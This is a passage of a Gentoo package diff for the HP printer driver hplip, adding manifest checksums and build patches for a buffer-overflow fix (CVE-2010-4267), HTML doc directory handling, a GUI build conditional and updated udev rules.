+DIST hplip-3.12.11.tar.gz 21932088 SHA256 c5b81167b21aa4ee6bdf3f5c120bfa050d0c794608da8bcc32e2580234919ffa SHA512 78593060f60a906e993ed4b2753fc41e7dae7a35a7697b87008b730fb893b3f4c54d488b7bb0d2fca72bd356dc963b2c2ca68c2797c5860f7052141bd0a81ea7 WHIRLPOOL 7983dc0f08ed38e5ae3ac9bde28f900f1315ad6d6cbd5773221799ea6c9ad9225ea35cb5be8537e4f6045b23c56a9e1776b6b337c91b626afa4e91416b830252
+DIST hplip-3.12.4-patches-1.tar.xz 9048 SHA256 88924b3a7bca2350de57e7f1eca5632cb423ea105e8d2f958971d905a3882eba
+DIST hplip-3.12.4.tar.gz 20603723 SHA256 350375c78d79adf635a59a448b27b3fe9ab7ac622637c47125fe5f7d8a537fff
+DIST hplip-3.12.9-patches-2.tar.xz 10328 SHA256 d992fdf42bbcde92de9f4256308b3b35b74e3fcae50704d59eaf26bd2beab5b4 SHA512 846b9cc96b1eefcbc0960c312a60ab8913b6db109bfa828d19f1e9cdfccc47e193d582767d828437dbebc9ec1c0617a590e8f3f2e744d9f5bddb6056d43fe6a7 WHIRLPOOL 5d63763f11d8f91a6506301ec2c7e37c1f9e5693c83d818f67129a42c7489fd9ed09c0a06f216af72c21f488cefc6f2b455a010fc504e3fc7b12b877190e9d9b
+DIST hplip-3.12.9.tar.gz 21314003 SHA256 e7361b9d6e968ce3306dc438e622a4412156e7c2d71b2a6face5952cf52e23c4 SHA512 bf0f498d7516c4b7653799c043dd6336a620be31680e1419bf09f9fd52492fc92f59e030df5110f89615c16d27ecad0169c83c938651a7fa7257057ccf5d30eb WHIRLPOOL 1059cf4216b60752c4f6da299f2dd86bdb26be7171275107280953225a9d1d729b135ba0f7990a8ed757fd52880612718bd846abb68ecbf61652923db88ca425
+EBUILD hplip-3.12.10.ebuild 6751 SHA256 a0b565fa314882106ac0152ba6ef2bb447e59d9ef707146cbfe6fcc153a30c8f SHA512 3d9c7f1c9ad15ebe4427671017c48d65660c2aacd111eac8472604794a64efe2eea19c79d7b96e20358102a1e856064310cb6528026863417d09d0340d59f85a WHIRLPOOL 49dd7fe55155739efdfcec928b72652c060c4e184593bdd82ace30501e683a4c0e904531aad49e25c91630c035fc7d22827de33b27fa90c0038723f4ce5babc9
+EBUILD hplip-3.12.10a-r1.ebuild 7487 SHA256 abc9900e34432a364b5fe001d4621fe3d8bbe1aebe2362cb8556693013caa140 SHA512 e31f446359fadf50279b8553829cc60f3d3c591d113ae87502536b7490954de5be5e51b6df21e86b0fd1e9247e06621f53c357b459b98410fcb44fac5e191d68 WHIRLPOOL d818eb171b39e2b66a60e07c12674138e57b25545f6416c1a832602d1c51d014f5c1994c4e178618c313a57ef57dbbfc93e4e93135c4b29f7fd683e2da029d3f
+EBUILD hplip-3.12.10a.ebuild 6905 SHA256 70e29aa04aabc289ec5b927cc5ec9cb6dba24fc0cb2e626489389217d6e10ebe SHA512 741f46330d99ce41cb78036ef4878409fd5c619a5826d935c9712a1e1ec44d9cae336d6de30b34e6aacd3d501e6ba2f786da6de2a9123105c886a5ca883aa977 WHIRLPOOL 19258f9724fdb4a60892595ba0294e192cb778c6bedd7f4d797dd35f664ae84a75c0269e48c3191ff4df8c6ce5ae7e0f2b4c4e6dcde991c489cd785f76509c89
+EBUILD hplip-3.12.11-r1.ebuild 7741 SHA256 5049093454fea62e53143528b35103f2ffea831c3618ddf9071fcdc186d1873c SHA512 ccd89bbff9966b004b105ddfb5a49c5fb75f35a98493b319fb4a6fa864ea63d1fa8200d437274d87a70e9e8dc47fb7006f1a155d53a8fd8cb444df6a14f092cd WHIRLPOOL 02cffdf5b1c0da8b4ab59187c9475418ff51bf2ebe2f6f1564a54fc3594bc0498eb34eb1a4fadc426dbba66d01de0e3c47ba896c9cb73295c7b80d700ecf9ce2
+EBUILD hplip-3.12.11.ebuild 7510 SHA256 8fabb1056c1c2d84ab132ab85dec35f8f27f188dc6290a7cbc6fc1d663fae0a2 SHA512 ca9b2368c7e98346bd33d1db398165e502a231bbc5eda2f84e722a04c1f5bfa6097819b7d1b64686abc5b9d80b233d2d11fd5ad11bda2092cbc88765eb7d0998 WHIRLPOOL b444acb18e4a57972961cac6d6b183af9afd24082a5495520f1110348c3b928f087eb33cd88369632d627a0e6159b0674a4bf9950346f291ef40958ed0cc551a
+EBUILD hplip-3.12.4.ebuild 6571 SHA256 6b19b4fc4fabee8417108fad420f06a6e5696dacf2be56e5cca2a1ddf00a8903 SHA512 c9b3d55fd37083043c61d2a6fe4a2fadf04a786d36db02de7f785e6ffac2ed5b4a967040248aa9ecd878c7cf5bbaaa091e97b8ef1ea58896e133c6d2598f981c WHIRLPOOL b515cf171856a7f0e434af172c4cf6d5794faa11afcd5afb5f1b0a9aa18c9394394b8a1448e75355bb7205df2bd68e17be52769040b085286aec62ac6eb4cb37
+EBUILD hplip-3.12.9-r1.ebuild 6691 SHA256 62daa4c6ffa98d7944cbf8923a8b88c9a0b712e89cae12cc852e74f257e1c5a2 SHA512 af3aa9e91e815d88213cdd36a6595c60a61676036d648dd9209dfc538b82221a97af74420e3518d12fd5fb1eb35bc307c6e6404d699c6754abf4903944697433 WHIRLPOOL 8d9520851295dd0f706b14989f889f34b8509572903dfc0bc27c41ed7810927eca5fc5e5e30c0735f2046bd63ad824bdf14a50201a5eb3a18d53f9279cc178f0
diff --git a/net-print/hplip/files/hplip-3.10.9-cve-2010-4267.patch b/net-print/hplip/files/hplip-3.10.9-cve-2010-4267.patch
new file mode 100644
index 00000000..3bf6b84f
--- /dev/null
+++ b/net-print/hplip/files/hplip-3.10.9-cve-2010-4267.patch
@@ -0,0 +1,11 @@
+--- hplip-3.10.2.orig/io/hpmud/pml.c	2010-12-06 13:35:12.046894255 -0500
++++ hplip-3.10.2.orig/io/hpmud/pml.c	2010-12-06 13:34:35.018894207 -0500
+@@ -504,6 +504,8 @@ enum HPMUD_RESULT hpmud_get_pml(HPMUD_DE
+       p += 2;                               /* eat type and length */
+    }
+    
++   if (dLen > buf_size)
++      dLen = buf_size;
+    memcpy(buf, p, dLen);
+    *bytes_read = dLen; 
+    *type = dt;
diff --git a/net-print/hplip/files/hplip-3.11.1-desktop.patch b/net-print/hplip/files/hplip-3.11.1-desktop.patch
new file mode 100644
index 00000000..0ed31ec0
--- /dev/null
+++ b/net-print/hplip/files/hplip-3.11.1-desktop.patch
@@ -0,0 +1,18 @@
+--- Makefile.am.old	2011-01-24 20:40:08.989802335 +0100
++++ Makefile.am	2011-01-24 20:40:23.913135667 +0100
+@@ -332,6 +332,7 @@
+ hppgsz_CFLAGS = $(libapdk_la_CFLAGS)
+ hppgsz_LDADD = libapdk.la -ljpeg -ldl
+ 
++if GUI_BUILD
+ # hplip.desktop
+ hplip_desktopdir = $(icondir)
+ hplip_desktop_DATA = hplip.desktop
+@@ -339,6 +340,7 @@
+ # hplip-systray.desktop
+ hplip_systraydir = $(systraydir)
+ hplip_systray_DATA = hplip-systray.desktop
++endif
+ 
+ # hpipjs (CUPS filter)
+ hplipjsdir = $(cupsfilterdir)
diff --git a/net-print/hplip/files/hplip-3.11.1-htmldir.patch b/net-print/hplip/files/hplip-3.11.1-htmldir.patch
new file mode 100644
index 00000000..da9a7cba
--- /dev/null
+++ b/net-print/hplip/files/hplip-3.11.1-htmldir.patch
@@ -0,0 +1,109 @@
+diff -Naur hplip-3.11.1-old/configure.in hplip-3.11.1/configure.in
+--- hplip-3.11.1-old/configure.in	2011-01-24 20:45:27.429802335 +0100
++++ hplip-3.11.1/configure.in	2011-01-24 20:48:34.759802335 +0100
+@@ -327,6 +327,9 @@
+ AC_ARG_WITH(docdir, AC_HELP_STRING([--with-docdir=DIR], [set hplip documentation directory [default=datadir/doc]]),
+    hpdocdir=$withval, hpdocdir="$datadir/doc/hplip-$VERSION")
+ 
++AC_ARG_WITH(htmldir, AC_HELP_STRING([--with-htmldir=DIR], [set hplip html documentation directory [default=datadir/doc]]),
++   hphtmldir=$withval, hphtmldir="$datadir/doc/hplip-$VERSION")
++
+ AC_MSG_CHECKING([for foomatic ppd install])
+ AC_ARG_ENABLE(foomatic_ppd_install,
+   [  --enable-foomatic-ppd-install    enable foomatic static ppd install (default=no), uses hpppddir],
+@@ -551,6 +554,7 @@
+ AC_DEFINE_DIR([abs_sbindir], [sbindir])
+ AC_DEFINE_DIR([abs_hpppddir], [hpppddir])
+ AC_DEFINE_DIR([abs_docdir], [hpdocdir])
++AC_DEFINE_DIR([abs_htmldir], [hphtmldir])
+ abs_ppddir=${abs_hpppddir%/*}
+ AC_DEFINE_DIR([abs_drvdir], [drvdir])
+ 
+@@ -558,6 +562,7 @@
+ AC_SUBST(abs_sbindir) 
+ AC_SUBST(abs_hpppddir) 
+ AC_SUBST(abs_docdir) 
++AC_SUBST(abs_htmldir)
+ AC_SUBST(abs_ppddir) 
+ AC_SUBST(abs_drvdir) 
+ AC_SUBST(abs_mimedir) 
+@@ -568,6 +573,7 @@
+ AC_SUBST(cupsfilterdir)
+ AC_SUBST(hpppddir)
+ AC_SUBST(hpdocdir)
++AC_SUBST(hphtmldir)
+ AC_SUBST(drvdir)
+ AC_SUBST(network_build)
+ AC_SUBST(pp_build)
+diff -Naur hplip-3.11.1-old/hplip.conf.in hplip-3.11.1/hplip.conf.in
+--- hplip-3.11.1-old/hplip.conf.in	2011-01-24 20:45:27.429802335 +0100
++++ hplip-3.11.1/hplip.conf.in	2011-01-24 20:49:25.999802335 +0100
+@@ -9,6 +9,7 @@
+ ppd=@abs_hpppddir@
+ ppdbase=@abs_ppddir@
+ doc=@abs_docdir@
++html=@abs_htmldir@
+ icon=@icondir@
+ cupsbackend=@cupsbackenddir@
+ cupsfilter=@cupsfilterdir@
+@@ -42,4 +43,4 @@
+ lite-build=@lite_build@
+ udev-acl-rules=@udev_acl_rules@
+ hpcups-only-build=@hpcups_only_build@
+-hpijs-only-build=@hpijs_only_build@
+\ Kein Zeilenumbruch am Dateiende.
++hpijs-only-build=@hpijs_only_build@
+diff -Naur hplip-3.11.1-old/hplip.list.in hplip-3.11.1/hplip.list.in
+--- hplip-3.11.1-old/hplip.list.in	2011-01-24 20:45:27.523135669 +0100
++++ hplip-3.11.1/hplip.list.in	2011-01-24 20:50:25.959802335 +0100
+@@ -49,6 +49,7 @@
+ $icondir=@icondir@
+ $systraydir=@systraydir@
+ $docdir=@hpdocdir@
++$htmldir=@hphtmldirdir@
+ $version=@VERSION@
+ $internal_tag=@PACKAGE_BUGREPORT@
+ 
+@@ -257,11 +258,11 @@
+ @epm_full@f 644 root root $home/pcard/photocard.py pcard/photocard.py
+ @epm_full@f 755 root root $home/info.py info.py
+ # docs
+-@epm_full@f 644 root root $docdir doc/*
+-@epm_full@d 775 root root $docdir/images -
+-@epm_full@f 644 root root $docdir/images doc/images/*
+-@epm_full@d 775 root root $docdir/styles -
+-@epm_full@f 644 root root $docdir/styles doc/styles/*
++@epm_full@f 644 root root $htmldir doc/*
++@epm_full@d 775 root root $htmldir/images -
++@epm_full@f 644 root root $htmldir/images doc/images/*
++@epm_full@d 775 root root $htmldir/styles -
++@epm_full@f 644 root root $htmldir/styles doc/styles/*
+ # python commands
+ @epm_full@l 755 root root $bindir/hp-toolbox ../share/hplip/toolbox.py
+ @epm_full@l 755 root root $bindir/hp-colorcal ../share/hplip/colorcal.py
+diff -Naur hplip-3.11.1-old/Makefile.am hplip-3.11.1/Makefile.am
+--- hplip-3.11.1-old/Makefile.am	2011-01-24 20:45:27.429802335 +0100
++++ hplip-3.11.1/Makefile.am	2011-01-24 20:51:45.893135668 +0100
+@@ -9,6 +9,7 @@
+ hplipdir = $(datadir)/hplip
+ 
+ docdir = $(hpdocdir)
++htmldir = $(hphtmldir)
+ doc_DATA = COPYING copyright prnt/hpijs/README_LIBJPG
+ EXTRA_DIST = prnt/hpijs/gdevijs-krgb-1.5-gs8.61.patch prnt/hpijs/README_LIBJPG copyright
+ 
+@@ -23,11 +24,11 @@
+ 
+ if DOC_BUILD
+ wwwsrc = doc
+-www0dir = $(docdir)
++www0dir = $(htmldir)
+ dist_www0_DATA = $(wwwsrc)/index.html $(wwwsrc)/commandline.html $(wwwsrc)/copying.html $(wwwsrc)/devicemanager.html $(wwwsrc)/faxtrouble.html $(wwwsrc)/gettinghelp.html $(wwwsrc)/hpscan.html $(wwwsrc)/mainttask.html $(wwwsrc)/plugins.html $(wwwsrc)/print.html $(wwwsrc)/printing.html $(wwwsrc)/printoptions.html $(wwwsrc)/printtroubleshooting.html $(wwwsrc)/scanning.html $(wwwsrc)/scantrouble.html $(wwwsrc)/sendfax.html $(wwwsrc)/setup.html $(wwwsrc)/systray.html $(wwwsrc)/troubleshooting.html $(wwwsrc)/uninstalling.html $(wwwsrc)/upgrading.html
+-www3dir = $(docdir)/styles
++www3dir = $(htmldir)/styles
+ dist_www3_DATA = $(wwwsrc)/styles/*
+-www4dir = $(docdir)/images
++www4dir = $(htmldir)/images
+ dist_www4_DATA = $(wwwsrc)/images/*
+ endif
+ 
diff --git a/net-print/hplip/files/hplip-3.11.10-udev-attrs.patch b/net-print/hplip/files/hplip-3.11.10-udev-attrs.patch
new file mode 100644
index 00000000..e57f8f9a
--- /dev/null
+++ b/net-print/hplip/files/hplip-3.11.10-udev-attrs.patch
@@ -0,0 +1,207 @@
+diff -Naur hplip-3.11.10-old/data/rules/55-hpmud.rules hplip-3.11.10/data/rules/55-hpmud.rules
+--- hplip-3.11.10-old/data/rules/55-hpmud.rules	2011-10-15 14:11:06.143791977 +0200
++++ hplip-3.11.10/data/rules/55-hpmud.rules	2011-10-15 14:11:16.083791723 +0200
+@@ -21,128 +21,128 @@
+ LABEL="hplip_pid_test"
+ 
+ # Check for AiO products (0x03f0xx11).
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??11", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??11", OWNER="root", GROUP="lp", MODE="660"
+ 
+ # Check for Photosmart products without wildcard since cameras and scanners also used (0x03f0xx02). 
+ # The xx02 pid has been retired so this explicit list should not change.
+ # photosmart_d2300_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c302", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c302", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_100
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3802", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3802", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_1115
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3402", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3402", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_1215
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3202", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3202", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_1218
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3302", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3302", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_130
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3902", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3902", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_1315
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3602", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3602", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_140_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1002", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1002", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_230
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3502", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3502", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_240_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1102", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1102", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_320_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1202", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1202", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_330_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1602", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1602", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_370_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1302", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1302", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_380_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1702", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1702", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_420_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1502", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1502", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_470_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1802", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1802", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7150
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3a02", OWNER="root", GROUP="lp", MODE="660"
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3b02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3a02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3b02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7200_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b002", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b002", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7345
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2002", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2002", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7350 
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3c02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3c02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7400_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b802", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b802", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7550
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="3e02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="3e02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7600_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b202", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b202", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7700_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b402", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b402", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7800_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c002", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c002", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_7900_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="b602", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="b602", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_8000_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c102", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c102", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_8100_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="ba02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="ba02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_8200_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c202", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c202", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_8400_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="bb02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="bb02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_8700_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="bc02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="bc02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a310_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1d02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1d02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a320_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1e02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1e02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a430_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1902", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1902", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a440_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1f02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1f02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a510_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1a02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1a02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a520_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2602", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2602", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a530_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2b02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2b02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a610_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1b02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1b02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a620_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2702", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2702", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a630_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2c02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2c02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a710_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="1c02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="1c02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_a820_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="2902", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="2902", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_d5060_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c802", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c802", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_d5100_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c402", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c402", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_d6100_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c502", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c502", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_d7100_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c602", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c602", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_d7300_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="c702", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="c702", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_pro_b8300_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="be02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="be02", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_b8800_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="d002", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="d002", OWNER="root", GROUP="lp", MODE="660"
+ # photosmart_pro_b9100_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="bd02", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="bd02", OWNER="root", GROUP="lp", MODE="660"
+ # Photosmart_B8500_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="d102", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="d102", OWNER="root", GROUP="lp", MODE="660"
+ # Photosmart_A640_series
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="7902", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="7902", OWNER="root", GROUP="lp", MODE="660"
+ 
+ # Check for Business Inkjet products (0x03f0xx12).
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??12", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??12", OWNER="root", GROUP="lp", MODE="660"
+ # Check for Deskjet products (0x03f0xx04).
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??04", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??04", OWNER="root", GROUP="lp", MODE="660"
+ # Check for LaserJet products (0x03f0xx17).
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??17", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??17", OWNER="root", GROUP="lp", MODE="660"
+ # Check for LaserJet products (0x03f0xx2a).
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??2a", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??2a", OWNER="root", GROUP="lp", MODE="660"
+ # Check for DesignJet product (0x03f0xx14).
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??14", OWNER="root", GROUP="lp", MODE="660"
++ATTRS{idVendor}=="03f0", ATTRS{idProduct}=="??14", OWNER="root", GROUP="lp", MODE="660"
+ 
+ # Removed the following rule because FHS states that /etc should be reserved for static files only. This
+ # functionality should be done in a deb/rpm post install script.  2/11/2009, D Suffield
+diff -Naur hplip-3.11.10-old/data/rules/56-hpmud_support.rules hplip-3.11.10/data/rules/56-hpmud_support.rules
+--- hplip-3.11.10-old/data/rules/56-hpmud_support.rules	2011-10-15 14:11:06.143791977 +0200
++++ hplip-3.11.10/data/rules/56-hpmud_support.rules	2011-10-15 14:11:49.153790877 +0200
+@@ -7,9 +7,9 @@
+ LABEL="pid_test"
+ 
+ # Check for LaserJet products (0x03f0xx17).
+-SYSFS{idVendor}=="03f0", SYSFS{idProduct}=="??17", ENV{hp_model}="$sysfs{product}", ENV{hp_test}="yes"
